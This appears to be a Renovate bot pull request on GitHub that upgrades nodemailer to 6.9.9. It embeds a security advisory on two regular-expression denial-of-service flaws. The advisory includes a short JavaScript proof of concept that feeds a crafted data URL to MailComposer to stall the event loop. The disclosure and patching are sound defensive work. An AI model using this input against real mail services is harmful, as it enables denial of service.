Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Oct 7, 2025

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 6.9.36.9.9 age confidence

GitHub Vulnerability Alerts

GHSA-9h6g-pr28-7cqp

Summary

A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.

Details

Regex: /^data:((?:[^;];)(?:[^,])),(.)$/

Path: compile -> getAttachments -> _processDataUrl

Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/

Path: _convertDataImages

PoC

https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6
https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698

async function exploit() {
   const MailComposer = require(\"nodemailer/lib/mail-composer\");
   const MailComposerObject = new MailComposer();

   // Create a malicious data URL that will cause excessive backtracking
   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';

   // Call the vulnerable method with the crafted input
   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}

await exploit();

Impact

ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.


Release Notes

nodemailer/nodemailer (nodemailer)

v6.9.9

Compare Source

Bug Fixes
  • security: Fix issues described in GHSA-9h6g-pr28-7cqp. Do not use eternal matching pattern if only a few occurences are expected (dd8f5e8)
  • tests: Use native node test runner, added code coverage support, removed grunt (#​1604) (be45c1b)

v6.9.8

Compare Source

Bug Fixes
  • punycode: do not use native punycode module (b4d0e0c)

v6.9.7

Compare Source

Bug Fixes
  • customAuth: Do not require user and pass to be set for custom authentication schemes (fixes #​1584) (41d482c)

v6.9.6

Compare Source

Bug Fixes
  • inline: Use 'inline' as the default Content Dispostion value for embedded images (db32c93)
  • tests: Removed Node v12 from test matrix as it is not compatible with the test framework anymore (7fe0a60)

v6.9.5

Compare Source

Bug Fixes
  • license: Updated license year (da4744e)

v6.9.4

Compare Source

  • Renamed SendinBlue to Brevo

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added dependencies Pull requests that update a dependency file help wanted Extra attention is needed labels Oct 7, 2025
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 81e1441 to 8bef047 Compare October 7, 2025 19:12
@renovate renovate bot changed the title fix(deps): update dependency nodemailer to v7 [security] fix(deps): update dependency nodemailer to v6.9.9 [security] Oct 7, 2025
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 8bef047 to c6ec1d9 Compare December 3, 2025 19:34
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch from c6ec1d9 to 9dceede Compare December 19, 2025 01:04
@renovate renovate bot changed the title fix(deps): update dependency nodemailer to v6.9.9 [security] fix(deps): update dependency nodemailer to v7 [security] Dec 19, 2025
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 9dceede to f4da3d7 Compare December 19, 2025 06:04
@renovate renovate bot changed the title fix(deps): update dependency nodemailer to v7 [security] fix(deps): update dependency nodemailer to v6.9.9 [security] Dec 19, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file help wanted Extra attention is needed

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant